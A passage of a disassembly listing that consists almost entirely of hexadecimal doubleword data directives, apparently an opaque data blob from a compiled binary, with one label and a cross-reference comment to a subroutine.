		dd 0EA4F141Dh, 18F71E2h, 0D3664432h, 0ACA60149h, 0F35653E3h
		dd 12E187D3h, 8CD93333h, 9CB06C00h, 9E1E7B7h, 15726134h
		dd 8D1C4432h, 32DEFE6Bh, 2EA9AE4Fh, 209B8BA0h, 38F4D133h
		dd 90A00BAFh, 137318F7h, 5D0E706Dh, 75B7571Ah, 0AB9ACCB3h
		dd 749F19B3h, 3E33DCDh,	96694227h, 15662239h, 0CFE77752h
		dd 0AC00DC05h, 980780FFh, 5D1AB7h, 1DE31E34h, 1A668832h
		dd 156646BEh, 0FC074232h, 15661122h, 71821A70h,	0E6DB7CE6h
		dd 0D2F346A1h, 588DCD00h, 976958CDh, 15664433h,	0EFE3ABCAh
		dd 1A600DB5h, 156683B2h, 1560AD32h, 7C182232h, 96C1D602h
		dd 1579083Dh, 9F694432h, 1566222Bh, 156605DBh, 500DFA32h
		dd 0CDC4A857h, 549205FBh, 3AE6E7Dh, 3A3F55A8h, 0EC622E01h
		dd 1576225Ah, 156EF832h, 0EFD8832h, 85470EFFh, 150E19D0h
		dd 1A661122h, 156692BDh, 9C692432h, 15662232h, 15661CDBh
		dd 28B3B332h, 2F4EC54Eh, 0BDF85F26h, 7F07D1B1h,	0E99EE832h
		dd 0DCF3BB53h, 0FC603716h, 15661139h, 7B66B42Dh, 0D430CC72h
		dd 9C902DD8h, 7AB8B7h, 0AE9AE834h, 3D901C66h, 9C694253h
		dd 15661131h, 0FD9C0354h, 1566443Eh, 20EA1E2h, 0E1608581h
		dd 97D6F4A4h, 98071CC7h, 95342B7h, 14E21E34h, 0E0668832h
		dd 78F94CDh, 2E662232h,	0F88D2D8Ah, 940EF594h, 17A8BDAEh
		dd 57B20402h, 108F71E7h, 0C6668832h, 0D7041209h, 0C95D9B52h
		dd 74075265h, 1A068C58h, 156646B4h, 1A4A9032h, 15661CBFh
		dd 15616032h, 2AC54432h, 0D0BB4C75h, 7D074A9Bh,	15669832h
		dd 156648DBh, 0BA506032h, 0DF5D76B5h, 0AE35572Fh, 35662C35h
		dd 7F932232h, 12EE1E32h, 75668832h, 0DAD7F88h, 0EA9F4375h
		dd 42D8A7h, 156A6134h, 54AC4432h, 9067E7F7h, 2988B70Eh
		dd 9D6998F3h, 15664412h, 156ACB52h, 73121132h, 14DC27Dh
		dd 8250BE3Eh, 128EA83Ch, 41661132h, 436F9B2Eh, 743E85A2h
		dd 8D7A7BBh, 9C9E1727h,	6541B7h, 188F2434h, 27662232h
		dd 0CEA8E1B5h, 945F9B3Eh, 4758C4F1h, 74A9953Dh,	97695158h
		dd 15668833h, 5662CCBh,	99692232h, 15661124h, 156699DBh
		dd 0B5CB7932h, 9255E85h, 48AA7382h, 8C7A3268h, 1F8F4113h
		db 32h
byte_5F4505	db 22h,	66h, 1Ah	; DATA XREF: sub_57DD3A+118AFo
		dd 6050B9C9h, 4B41CBC7h, 15662C89h, 0FC9E2233h,	1566113Eh
		dd 4FCE0797h, 0EB558B15h, 233E60DBh, 0EA9E1158h, 4241A7h
		dd 0FC372434h, 15662238h, 0C2FF41Bh, 0F869AF28h, 1A38F070h
		dd 9C07D28Dh, 4CECB7h, 0CEE7E834h, 6E6676FBh, 5CD3A953h
		dd 0FC600406h, 1566883Ah, 0AFCD2E58h, 0ABA95ED1h, 0C2B8CB9h
		dd 73068E27h, 0CE7F9EB3h, 156628DBh, 0F78F4F32h, 98A06168h
		dd 7478C69Ch, 1FF797BBh, 1A061727h, 15668ABBh, 1AE3F032h
		dd 156630B3h, 156AF932h, 8B28832h, 0ACDAA9CBh, 2363D8A7h
		dd 743D557Ah, 1564073Dh, 74064432h, 2BFBFBBh, 0FC061727h
		dd 1566883Ch, 0D9EAF8B8h, 992EAC95h, 0FDFFAAAh,	9969CB75h
		dd 15664425h, 156633DAh, 6167A332h, 48DF3C4Ah, 892A21D7h
		dd 0A91B30E8h, 743D8F1Bh, 0C2B15B9h, 9B694227h,	1566222Fh
		dd 29D97752h, 157760B4h, 18AE4432h, 9F19230Dh, 6E771C20h
		dd 46663F66h, 4BD1C1F8h, 9E55DD53h, 0D1E5353Eh,	14EC8736h
		dd 0E9664432h, 1A66DBB1h, 155E30B6h, 95DFE832h,	0FC042D17h
		dd 1566223Eh, 6623752h,	0DF996263h, 5F008DBBh, 77094A53h
		dd 11EF1132h, 19E68716h, 1A664432h, 156624BBh, 15EE1E32h
		dd 43668832h, 0D3E7A2BBh, 15662236h, 9262FFB1h,	9C3AAC06h
		dd 759F603Eh, 0FCA613C7h, 15661139h, 9D20F309h,	6E2633DEh
		dd 9CC1DFE7h, 6C4CB7h, 0AC06E834h, 2F1C8D9Eh, 9FBBE8B3h
		dd 73074A52h, 746F3D88h, 127D2C61h, 443D262Bh, 0C61368Bh
		dd 4CADB936h, 0FC3D9ABBh, 1566223Dh, 0DF8468B9h, 0B91C438Ch
		dd 1656A1D4h, 94495069h, 8A6FBEF4h, 9E880922h, 164F3921h
		dd 94460646h, 68759AF4h, 0BA88091Bh, 0EC76DB3Bh, 1A8F8F54h
		dd 36661132h, 8DA98E03h, 0CDE911A6h, 3A1EF75Eh,	0C04BD32Ah
		dd 16294220h, 42466076h, 6B4F6B8Dh, 0E289C05Ch,	97A909EDh
		dd 94015464h, 5D7517F5h, 0D7A1902Dh, 142638CDh,	9A691BCAh
		dd 15662227h, 15699F3Dh, 1F8F8832h, 0F4664432h,	37C342EEh
		dd 136D39BAh, 6D167743h, 714270B3h, 4B73F733h, 399FAA61h
		dd 0F6E7EF24h, 0DD23DA2h, 9460C9F3h, 2D4A7FC1h,	0BD950937h
		dd 2476A94Fh, 940679ECh, 92D4F8F4h, 0CDEDE1Bh, 4B6197CCh
		dd 9E88A353h, 945FC262h, 571944F4h, 31124774h, 0D988A312h
		dd 9420534Dh, 0C63603F4h, 6399BC0Bh, 18F7D2Ah, 8B661132h
		dd 0F90A8948h, 51ECA549h, 58B8A12Ch, 2D463B2Ch,	9C97894Bh
		dd 4EF18Fh, 12EE2D34h, 1A661132h, 156689B8h, 0EAE3B832h
		dd 1524A73Dh, 9A691132h, 1566883Ah, 1564C93Dh, 74062232h
		dd 1538E6DAh, 19E88732h, 1A664432h, 156624B6h, 15E31E32h
		dd 0FC668832h, 15664183h, 1567A33Dh, 0FC9A1132h, 1566883Eh
		dd 4F9C6C73h, 0A6ADDFE3h, 0ADEB913Ah, 1542895Ah, 316ACD32h
		dd 198F42C7h, 8661132h,	165B9AA8h, 3957EDE4h, 1AF18BA6h
		dd 156611BDh, 0F9E5E932h, 3152CD36h, 0E7EFDCBBh, 0CE31E6Ch
		dd 75668832h, 0FCBE84B2h, 1566223Dh, 4D454275h,	0A893EFC3h
		dd 998B8DDCh, 74EE8BBDh, 156F9E3Dh, 0AA068832h,	2C449733h
		dd 7E077861h, 128F15E0h, 28668832h, 77532001h, 80EFCBADh
		dd 1373001Bh, 93DEEE52h, 1568AC89h, 744F2232h, 51C6F5ACh
		dd 9C84D64Eh, 0D8BF6DA3h, 743FFCB9h, 95691558h,	15668835h
		dd 7655FE52h, 7D07257Ch, 15660132h, 1573013Dh, 58F4432h
		dd 0F7662232h, 0DB887906h, 8576401Bh, 0CAB8C149h, 47DDF518h
		dd 0D7E7F3BBh, 15668836h, 9262AEB1h, 9C3A0626h,	7F9E3526h
		dd 15726132h, 7ADC4432h, 0E3823611h, 49531735h,	9C165278h
		dd 0EA5D9E25h, 80992BE7h, 137335FBh, 156682DBh,	75A01632h
		dd 7D6644DDh, 1ADE5B18h, 156689BEh, 90EFBD32h, 13732997h
		dd 1568F952h, 3E0B8832h, 0CDDB9B3h, 0F6CA6F66h,	641AF3Ch
		dd 4AB50354h, 156650DAh, 4917E332h, 3D4D1F94h, 98E6186h
		dd 38EFF255h, 0DDD4AF30h, 1574F8C1h, 0F2D08832h, 5AA5F263h
		dd 3BBB03F3h, 63403351h, 8AB0B9E1h, 0AA0E2569h,	9C662236h
		dd 0FC3C3536h, 15668821h, 9018516Eh, 16CC4811h,	3238EA27h
		dd 387915C1h, 9ED870FAh, 9C31063Eh, 11A190D5h, 96668832h
		dd 29E140F5h, 98697E16h, 15661137h, 0E2ED7D52h,	4848AC53h
		dd 18F2232h, 91661132h,	817FF3B6h, 8D9DDB96h, 981ACBC2h
		dd 9D7C31CEh, 7D63A402h, 15662D62h, 754216BBh, 156614DAh
		dd 86037A32h, 7438B0C4h, 7330429Fh, 9ED8C3B3h, 0A5E0336Ah
		dd 10074F37h, 0AE06A51h, 0E49B137h, 31228B00h, 3AC66916h
		dd 764B1029h, 7579977Ah, 15668FDBh, 9E39E732h, 9424AADEh
		dd 980E4153h, 9C668829h, 4A3E600Eh, 1561AF3Dh, 97691132h
		dd 15668833h, 0EBEF12CEh, 314AA364h, 46222C0Fh,	28A50969h
		dd 4B35000Fh, 0F3EF74CAh, 1562D7B3h, 0FBE78832h, 15664436h
		dd 494216B5h, 75422DBBh, 156681DBh, 1FE0B32h, 249738A9h
		dd 0AF353536h, 16E7B402h, 7506256Bh, 1566AE3Dh,	9E691132h
		dd 15668832h, 1568AD53h, 936B2232h, 0DDD7ABF3h,	7C7126BAh
		dd 0E3C3E8BDh, 75A61253h, 0EDFEE2B2h, 0E8132653h, 156643DBh
		dd 816BC532h, 4F06BA3Ah, 315203C7h, 9485CD61h, 156626F1h
		dd 11A59032h, 92668832h, 1A3A602Eh, 15662EB1h, 13E11E32h
		dd 1A668832h, 156644B1h, 0BEA1A332h, 94648C56h,	12C22DDh
		dd 94B96D1Ah, 12C88F5h,	0BE89901Ah, 0FC641556h,	1566443Fh
		dd 92432357h, 2979370Fh, 9D26E632h, 9C36BD64h, 156227D2h
		dd 114B1132h, 92668832h, 9C3A6036h, 68F0626h, 0A4661132h
		dd 0C9443906h, 0DF903549h, 5C87FA78h, 0EAD48B8Fh, 4336E4F0h
		dd 0E5EFBABBh, 4DA4AB6Ch, 0BCDB9ACEh, 1A609D2Eh, 15664AB3h
		dd 156FCB32h, 0AAE81132h, 41AFDF24h, 0AC571A4Fh, 0EA99DDCDh
		dd 1572923Dh, 1A8F8832h, 4F664432h, 4BFB2213h, 6E76A8E3h
		dd 9A766537h, 0D557555Fh, 0AC3770CAh, 6FE2604Ah, 9BEE49B3h
		dd 0DFEFC149h, 9F94236Bh, 9F694B30h, 1566883Fh,	15664CDBh
		dd 21B61032h, 0FB22CBB4h, 0FCAEB800h, 1566443Eh, 0CCF31CFFh
		dd 883D413h, 2CF73132h,	0E5578203h, 8326E403h, 156619DBh
		dd 40239332h, 0E4949064h, 1AEF2DABh, 0FC661132h, 15668838h
		dd 0C4E8AA1Ah, 46683CFBh, 2199A30Ah, 316203B5h,	0FC6280B1h
		dd 15662237h, 0A0DEDECh, 1D8F4919h, 3857FF52h, 0AF005B16h
		dd 24071360h, 157261F3h, 0C1544432h, 7795144Ch,	0D040C20Fh
		dd 3F4A3716h, 14C924B4h, 1A2C1D7Dh, 0EA9944B7h,	1BE487CDh
		dd 0FC664432h, 1566223Bh, 77521D5Ch, 1364F45Ah,	550EB8E8h
		dd 9C662225h, 1A3E353Eh, 156680BFh, 17E04B32h, 75662232h
		dd 0C2918653h, 0D2577003h, 7306BC03h, 1A940089h, 156610BDh
		dd 0EA077D32h, 943C6006h, 156626F6h, 0E00EE932h, 9C66887Bh
		dd 11E76036h, 124E0316h, 94649E40h, 124EA918h, 156AAD40h
		dd 26A02232h, 0E9705375h, 1B882051h, 453334D1h,	1566268Ah
		dd 4DA39832h, 0FC3B6233h, 15664435h, 0A41573A8h, 409BBD15h
		dd 0D0E76DBBh, 15664436h, 9262CFB1h, 9C3A351Eh,	9506AC26h
		dd 1D8E42D2h, 7A662232h, 60F3F380h, 0FC3D45A0h,	15664422h
		dd 3D9417C6h, 0BEDDA647h, 7CD3FB27h, 0E6D0054Fh, 1A064368h
		dd 156612B9h, 7FBD0832h, 749CF33Dh, 1F3BA7CDh, 9E9A1727h
		dd 6CD5A7h, 805FBD34h, 13730A87h, 1503953Dh, 94698832h
		dd 15664433h, 3152DDC7h
		dd 11A29268h, 315203CEh, 9480CD64h, 156626F4h, 11A09232h
		dd 4942BCB5h, 11DF15C7h, 94662232h, 0C3030F4h, 94A8897Ch
		dd 0C3065DCh, 188F7B7Ch, 0B8661132h, 0E7A821AFh, 88ADC321h
		dd 1E0B1B95h, 0EA9A63DBh, 0AA06E8CDh, 2A1B0404h, 1566AE3Dh
		dd 1A071132h, 156688B9h, 9E9E2532h, 9C360626h, 156214D2h
		dd 11638832h, 92664432h, 1A3A0636h, 15661BB7h, 9069E832h
		dd 15664432h, 0EA074352h, 94383506h, 15668CF6h,	1BEC4B32h
		dd 0FC662232h, 1566113Bh, 989EA910h, 0EA424112h, 198F4376h
		dd 78661132h, 0D04B82BBh, 97D541CBh, 1AAD8283h,	15661FBDh
		dd 9669E832h, 15664432h, 1566A03Dh, 9E071132h, 9C34AC3Eh
		dd 11A4C5D0h, 94662232h, 156615F0h, 31720F32h, 11EDB86Eh
		dd 0F5EF7216h, 15661537h, 15628D32h, 11E14432h,	0D29F7E16h
		dd 7E40B7h, 15668834h, 1568AD32h, 16282232h, 59DFF46Bh
		dd 0BFD42FA2h, 3955A1C9h, 1561A63Dh, 9E691132h,	15668833h
		dd 4CE383C7h, 1560373Eh, 1A661132h, 156689B3h, 0A8E5B832h
		dd 137AA550h, 3FE21E32h, 0EC668832h, 8DB5D9BFh,	9C692429h
		dd 15661133h, 1A93E8CAh, 0EA07838Dh, 12ED2DE1h,	1A661132h
		dd 156689BCh, 9569B132h, 15662233h, 80E3EECBh, 0E9609D20h
		dd 7F3F9B1h, 1A022427h,	15644CB0h, 90A17D32h, 137356A7h
		dd 15662233h, 989371CAh, 95219B7h, 19E14B34h, 1A662232h
		dd 156617B3h, 15E18732h, 0EA664432h, 1569CBE2h,	80331132h
		dd 0CE6F46BCh, 895B71F3h, 5D1ECAE7h, 3EF1E74h, 1A668832h
		dd 156654B6h, 156DCB32h, 8DB61132h, 0D467619Dh,	1BDE49D1h
		dd 27D3AFF7h, 75600DBAh, 15668DDBh, 121F1232h, 0A269BAA1h
		dd 0A8EB70C3h, 137B9A1Ch, 64A1C5CAh, 943E7236h,	476EADDh
		dd 9491A153h, 476BFF5h,	6489A353h, 753E4136h, 0AF980354h
		dd 2355765Ah, 22464A53h, 29EF1132h, 9169D216h, 15664437h
		dd 0EC0B9752h, 0BCDB9A53h, 0E0609D2Eh, 0EA99BB8Bh, 0D557D7CDh
		dd 156E993Dh, 96698832h, 15664430h, 0AE354352h,	15661132h
		dd 16EC7B33h, 944258B9h, 156626F6h, 1575F832h, 0DDF48832h
		dd 761BC7E1h, 0BC5DBEC9h, 0D5A6C55Eh, 0D95BEDCEh, 75AE7454h
		dd 9400DBB9h, 7426E6FAh, 0EA993260h, 0C34FBBCDh, 95934268h
		dd 0FC075BFAh, 15668835h, 6C1535Eh, 0EA4FABD8h,	11ED9606h
		dd 11A20B16h, 156AC73Dh, 73062232h, 94C8D388h, 240F21C0h
		dd 0FCA7255Eh, 156ACB3Ah, 0ECA71132h, 6425770Bh, 4F2E383Ch
		dd 0D45753F5h, 4FBC9052h, 0FC52F1B6h, 15664438h, 0DF964176h
		dd 9CEF9B16h, 5F07CC3Ch, 0EA36C13Dh, 9469DDCDh,	1566113Bh
		dd 15EC8752h, 0EC664432h, 118AA153h, 94421DBBh,	1EBAC06h
		dd 203E2533h, 746736BFh, 19141CAh, 31620316h, 156280B3h
		dd 2C9A2232h, 47B4B7h, 8BE28734h, 0FC664432h, 15662234h
		dd 60880024h, 0F9E7A9AFh, 15664436h, 0A8420EBBh, 2B953E22h
		dd 946165F3h, 68801ADFh, 488EAB32h, 156618DBh, 7D48C832h
		dd 1CCE12Ah, 0D56DCBDFh, 1551943Dh, 43068832h, 15664ADAh
		dd 4F1C6332h, 0CC48A263h, 2FE657E6h, 4AC7A90Eh,	9969426Ch
		dd 15661132h, 1566023Dh, 74074432h, 0B03A7F5h, 15671727h
		dd 90698832h, 15664433h, 0AFDB77CAh, 9466206Bh,	5547A1F3h
		dd 948F452Ah, 55470BDBh, 78F4C2Ah, 0C3668832h, 0E4D62531h
		dd 89AF0D7Dh, 0A012ED93h, 385CFB76h, 68F25C7h, 0D9662232h
		dd 0EC3F0E9Bh, 0A59290D3h, 0D2416618h, 5C615D06h, 7D357B59h
		dd 7CC1C7C9h, 0A085C569h, 0E236566Fh, 0E7DC43E1h, 3C0E2E23h
		dd 0FEE71EE1h, 0E03C793Ah, 0E93DC8BBh, 133A3163h, 7D300B59h
		dd 44EC5616h, 8E88906Ch, 94705C04h, 28CA87DCh, 4B94AB42h
		dd 0E03FDB33h, 5EB00852h, 7506E953h, 1D81A354h,	0CA8F904Eh
		dd 7422C304h, 9C9E25CEh, 6CB387h, 53A1E834h, 0ED647ACEh
		dd 0E900C526h, 366440C7h, 149A57B3h, 94668832h,	52B5B87Ch
		dd 5BE701CDh, 765D4ACEh, 0E9200912h, 0C966C437h, 0FDA0A952h
		dd 1566113Fh, 5DE42035h, 30E787A2h, 7B036D35h, 156AF861h
		dd 6F5D8832h, 0C34CD88Eh, 4B89CA30h, 7438A541h,	0FB88660Fh
		dd 0A1E34BDCh, 75662232h, 1565973Dh, 9E008832h,	2BE725F4h
		dd 0C8BBFFEFh, 15FB943Dh, 1A068832h, 156642BDh,	15E72D32h
		dd 73661132h, 746BEF88h, 6C7AFE60h, 0A8333EB8h,	9EC682Eh
		dd 9C3B621Bh, 449A1E24h, 1566268Bh, 9EA81032h, 0D1E7AC3Eh
		dd 15664436h, 1567A33Dh, 9C931132h, 6C1987h, 9E69BC34h
		dd 15662223h, 156D983Dh, 138F8832h, 7C664432h, 4B31D713h
		dd 3E78F8D9h, 0FC068832h, 15664437h, 608BCA22h,	4862A8E8h
		dd 0FC079A17h, 0EA99BA84h, 156630DBh, 29D84432h, 59735283h
		dd 22D349Eh, 0E4ADA98Eh, 1A1543A2h, 156682BDh, 1563AD32h
		dd 35F02232h, 94A589C6h, 15668CDEh, 3162CD32h, 854226B3h
		dd 4E1DAB12h, 35F663B3h, 0ED063F88h, 156630DBh,	71F4D332h
		dd 0A44DB598h, 2B39F45Dh, 0E8319885h, 7465D013h, 0B030D01h
		dd 48F4227h, 35662232h,	39569928h, 4D2BC037h, 3C43EF59h
		dd 12117B27h, 1A65D9F3h, 15669CBAh, 1BE84B32h, 0FC662232h
		dd 1566113Bh, 8C3FF754h, 0BB8A55F6h, 0A3DC70A1h, 0C4116737h
		dd 759409D0h, 943E632Ah, 183982C0h, 1184D068h, 94606AF3h
		dd 65A56AF0h, 4FB62360h, 3B4BC11Bh, 750D2B41h, 156656DAh
		dd 6CD9B532h, 779A961Ch, 0CA7A4812h, 0DB918EAh,	1AB2B0A0h
		dd 0FC3DE785h, 15668837h, 7143C851h, 78F43C5h, 0F1661132h
		dd 17C3886Bh, 5906A967h, 7F72BB3Bh, 112B8D27h, 5A64902h
		dd 1567CF3Dh, 24932232h, 1560F8FAh, 0FC1B8832h,	56F7C735h
		dd 0B03BFBBh, 9B691727h, 1566883Ah, 1564CE3Dh, 74062232h
		dd 1466110Fh, 0AAE58732h, 0FC664433h, 15662221h, 0A966EB7Ch
		dd 82FB73F0h, 0DB34A9EDh, 0B0FF4AD7h, 943BF563h, 0AEDD330Ch
		dd 8EE34B89h, 75662233h, 10E31ECEh, 73668832h, 0E173A3B3h
		dd 460E553h, 0C44AAB78h, 14DDDB14h, 1C041E5Fh, 13E7792Ch
		dd 91E713EFh, 15668DDBh, 433C4532h, 0AA31C191h,	15661136h
		dd 469B4EB3h, 0EB674E72h, 469BCCB3h, 0FC391B72h, 15668821h
		dd 0F81F886Ch, 0DAC9EC0Eh, 0F5FC4A19h, 894C0A30h, 9CC2846Ah
		dd 6CB387h, 19E41E34h, 1A668832h, 156642BEh, 15E12D32h
		dd 9E661132h, 7FC5AFh, 2699B834h, 94422EB9h, 156615F6h
		dd 138FE832h, 0A9664432h, 7449B51Fh, 2AD97716h,	0F9E5E91Bh
		dd 3162CD36h, 1576CB68h, 0D8251132h, 716C5ED0h,	0B79CA490h
		dd 12B78694h, 1A06A349h, 156689B9h, 9B69B132h, 15662221h
		dd 15661FDBh, 59E27F32h, 870F445Fh, 952146Bh, 4343F1C1h
		dd 0E5EFD660h, 14EA4B6Ch, 0E9662232h, 9DB9419h,	93698E27h
		dd 15664420h, 15662FDBh, 90F3A332h, 0BFEF457Ah,	6F928E92h
		dd 0F5A753ADh, 83D77130h, 0D55C51B3h, 16073010h, 674BB7h
		dd 5E21E34h, 75668832h,	156641DBh, 78C66132h, 0AB006C3Eh
		dd 2407DC0Fh, 24A075C2h, 0ED3442C2h, 74979A69h,	14EE879Fh
		dd 0E9664432h, 1D62251Fh, 43AE1026h, 1D628F8Ch,	4B964526h
		dd 156CAB3Dh, 108F1132h, 41668832h, 767F34F8h, 3122ABC7h
		dd 1DE41E2Eh, 1A668832h, 156646BBh, 74074232h, 15661CDBh
		dd 54338632h, 413427ECh, 0F24E66BEh, 698FD391h,	75668831h
		dd 35C75C8Ah, 13E32D6Dh
		dd 1A661132h, 156688B0h, 0F9E72532h, 15662236h,	75421DBBh
		dd 0FCBF3F3Dh, 15664422h, 0B2FB29Ch, 0D82C90BCh, 26531FB1h
		dd 0D3807B4Eh, 0F2EF7553h, 1562D6B3h, 0FAE58832h, 315AC336h
		dd 3172AB6Eh, 156602DBh, 0B0516E32h, 27BF605Dh,	2A70FBCh
		dd 782CB090h, 0E884422Ch, 95698D03h, 15662233h,	0B0F39ACEh
		dd 0FC609D39h, 1566443Ah, 0C3640E65h, 0CEC19E58h, 91698A09h
		dd 156644DDh, 156631DBh, 0C4A2C832h, 272F0415h,	0D088E52Ch
		dd 2361440Eh, 0FC1AF468h, 1561DC5Ah, 317ACD32h,	15662689h
		dd 4EBC1032h, 1577093Dh, 198F4432h, 0E9662232h,	886E9730h
		dd 8F1F1BE4h, 46504284h, 9C0AE689h, 0E2B5E653h,	0D08D09E1h
		dd 3C07CD5Eh, 1A0679EBh, 9E00C285h, 985DE9F9h, 13736C87h
		dd 0EAF4A73Dh, 9569EECDh, 15668839h, 15E94B52h,	95662232h
		dd 4307B7DAh, 6E7D9E8Ch, 0F18CFC59h, 0CA63B6B6h, 143E9F23h
		dd 4B9A5C2h, 1A381CBCh,	156634BCh, 1E8F7132h, 0E6668832h
		dd 0F78AE190h, 4629C74Dh, 0AE007559h, 9807DAFCh, 29DABFh
		dd 1569CB34h, 99C11132h, 5DA48BFBh, 0DE6DBF62h,	80AF8443h
		dd 12E81EB8h, 1A668832h, 156645B0h, 0F499D732h,	15739E3Dh
		dd 1A068832h, 1E8FB785h, 0BB662232h, 52D423E7h,	86AA3059h
		dd 9C07BD3Dh, 6C7FBFh, 0C8E67134h, 0CDDD897h, 4E70B9A3h
		dd 3172A953h, 94879863h, 15668CF3h, 11A7C732h, 49422EB5h
		dd 1567993Dh, 0EA9E8832h, 963F6006h, 1A0626F6h,	128FCA85h
		dd 47668832h, 0B6D9C5EFh, 0E0072268h, 152B945Ah, 31520132h
		dd 156649DBh, 81044A32h, 414BE205h, 0E673A3C3h,	9E69F4B9h
		dd 15662226h, 0FDA79B52h, 15668838h, 23CEBF3Dh,	3225D747h
		dd 743CAA6Ch, 0C2B15B9h, 1A9A4227h, 156623BFh, 2699E432h
		dd 944284B9h, 156640F6h, 1BE82D32h, 0FC661132h,	1566883Bh
		dd 513BBA0Dh, 0C517AF69h, 48E39A8Fh, 75609D38h,	94BCF33Dh
		dd 47DAA0DDh, 0F5B7707Ah, 15720B3Dh, 0FC064432h, 15662239h
		dd 0E4696A10h, 89E106DEh, 479A1835h, 9269436Ch,	1566112Ah
		dd 15669BDBh, 0C90C0132h, 0BCA69111h, 1264BEF9h, 54E856E0h
		dd 90AD6B93h, 37EFA731h, 96691727h, 15668834h, 4EDF2252h
		dd 0E357435Ch, 156618DBh, 0CB34D532h, 28E5573Ch, 0BD0E6DF8h
		dd 9C661131h, 4D30AC36h, 0B800B86Ch, 156630DBh,	61A42632h
		dd 0B117B191h, 86D637A8h, 314826A1h, 0D46B0D5Ch, 99698AD2h
		dd 15664439h, 0D6ED4452h, 1566953Dh, 16078832h,	672DB7h
		dd 138E4234h, 78661132h, 0B0D29C01h, 4AD9F13Ch,	118AA353h
		dd 9C661132h, 4D30AC36h, 1575AD6Ch, 23022232h, 16EF257Bh
		dd 0FFB19B30h, 5F1AB4F7h, 678A3748h, 9869BC98h,	15668824h
		dd 156655DBh, 596B8D32h, 142912B6h, 3C64F9DDh, 266B30A6h
		dd 7506A886h, 4F314864h, 0E5E7E853h, 67DF22FCh,	1566AE3Dh
		dd 74071132h, 4176AE37h, 5A5F4107h, 0DD670D92h,	0B529281Fh
		dd 540A51Dh, 58F7166h, 61662232h, 386BE788h, 0EB64CC8Ch
		dd 936A4418h, 75CDF050h, 1A38E864h, 15668AB3h, 743C1632h
		dd 424216B9h, 0D2E7F6BBh, 15668836h, 156283B3h,	29E12232h
		dd 969A4D16h, 4A658Fh, 91694534h, 156622E0h, 90EB2ACBh
		dd 1A609D24h, 156681B6h, 1F8FD732h, 7B661132h, 0ACF7B131h
		dd 0EE218662h, 9CEB1992h, 1A600435h, 156621B6h,	1569AD32h
		dd 0B3D12232h, 0FB464155h, 0AAF45764h, 0A7360DF8h, 9CEB199Fh
		dd 1A600425h, 156601B6h, 1560AD32h, 24FD2232h, 0A74263BCh
		dd 0F14315BFh, 9669422Eh, 15662239h, 0D2ED7752h, 1566063Dh
		dd 0EA074432h, 0F9E7DBE1h, 15661136h, 94428CBBh, 11A16006h
		dd 94390FC6h, 0E162D6C5h, 156A611Fh, 0BCC4432h,	7A08AB9Bh
		dd 5B6E50A5h, 138F7B5Eh, 76664432h, 0A3F201DDh,	98E398FAh
		dd 75609D2Bh, 82D2AF8Ch, 4EB2D2Dh, 0FD661132h, 15668839h
		dd 8F7553FAh, 0CFE69D9Ah, 4FFACA8Ch, 2F8F7D53h,	1A66442Ch
		dd 156623B4h, 88EBE832h, 137A6C17h, 1568AD52h, 5E232232h
		dd 0A0C7D638h, 0D6EF7C5Dh, 19CBEFAh, 0CBD92D64h, 0C699706Dh
		dd 15669BDBh, 0A3205532h, 7F2D4768h, 878A790h, 21A89BF9h
		dd 4794C326h, 398B9FB1h, 1A661727h, 1566DEB6h, 739A2432h
		dd 0D2EFD4B3h, 24E32A53h, 1A609D3Eh, 156668B6h,	156DCB32h
		dd 9A5E1132h, 551FC137h, 400FD9DFh, 74E31930h, 1A60043Bh
		dd 1566AEB7h, 156DAD32h, 6B5F2232h, 7BA653F3h, 0DF262832h
		dd 0EB90ADA6h, 0FC9FDDCDh, 15661139h, 145C0775h, 0A505C01Eh
		dd 2E980511h, 4F2CB7h, 83E38734h, 1A664432h, 156623B6h
		dd 9506E432h, 0F3E77DE1h, 21ABFFE1h, 0A0DBA153h, 1560041Fh
		dd 15570C3Dh, 97694432h, 1566223Eh, 156616DBh, 0B4252732h
		dd 19D5F6Bh, 100B9FB1h,	1A661727h, 1566D0B6h, 156BAD32h
		dd 0AB892232h, 1EDE1124h, 892574C4h, 98357AD1h,	95991B7h
		dd 1B8E7134h, 0FB668832h, 0D55CA8AFh, 0CC5D4E84h, 0A7B5582Dh
		dd 0C3E7EEECh, 1A3EC943h, 156621B7h, 0D0AB9132h, 4C8F7153h
		dd 7599BBCCh, 1565A13Dh, 0A2691132h, 156061FBh,	0D2934432h
		dd 78F2F260h, 28E32A53h, 1A609D1Bh, 0EA9873B6h,	940042CDh
		dd 94B633C5h, 16BC33E0h, 0A8E52538h, 137AA574h,	43E31E33h
		dd 1A668832h, 15664AB4h, 156FCB32h, 0A9861132h,	26427110h
		dd 0ED80888Fh, 921CA709h, 9069172Eh, 15668807h,	0CDED2252h
		dd 0A095A354h, 90EB708Bh, 153F83D6h, 156643DBh,	91CE6B32h
		dd 0D92261EDh, 0E89261CEh, 9869BBCDh, 1566223Fh, 156619DBh
		dd 5F47CC32h, 0DA9F8BDFh, 0FC9913E7h, 15661137h, 5369320Dh
		dd 0D4DBC726h, 15603723h, 1A64953Dh, 128F8832h,	0F7664432h
		dd 0A6C21AF7h, 905D58C1h, 137A0F54h, 155EC13Dh,	0E09E2232h
		dd 3C4F94B9h, 1A068E27h, 156647B1h, 0DED92D32h,	74A0AE3Dh
		dd 448D3163h, 0CC917153h, 0DCE7F3C5h, 3B367B87h, 0E4E761E3h
		dd 0F5210632h, 1A3FED1Bh, 156610B7h, 905D7132h,	137AC35Ch
		dd 1546A73Dh, 9E9F1132h, 49B9B7h, 9E002434h, 0AD3643F8h
		dd 0EA99EECDh, 753E4F1Bh, 0F4EFA789h, 7406740Fh, 905D7068h
		dd 137A0F58h, 1558C13Dh, 9E9E2232h, 44DCB7h, 15766134h
		dd 48D94432h, 8930CFA9h, 31C37BF6h, 87F1A22Dh, 0AD36B315h
		dd 25993BE0h, 0E253517Ah, 55140569h, 30539CC5h,	3C245070h
		dd 108F49F5h, 1668832h,	1E4D1B31h, 9214A709h, 9069172Eh
		dd 1566881Ah, 24E3CFCAh, 0FC603702h, 15661135h,	4459558Ah
		dd 434FED4Ch, 0EA99DD8Ch, 4B9138CDh, 47223C52h,	1566C13Dh
		dd 743D2232h, 92109409h, 90698E2Eh, 15664450h, 15662DDBh
		dd 0C4AF8B32h, 0F8EE1540h, 48E14127h, 5CE19361h, 12A394B9h
		dd 0FD068E27h, 1566443Bh, 0A070CF69h, 98185C0Ch, 4E3DD8E4h
		dd 14E44B53h, 0ED662232h, 0EA99AA61h, 0CA4F77CDh, 18E2469h
		dd 0D662232h, 0A438EC10h, 0F8B36316h, 0DF105BD2h, 0AD9CB4F8h
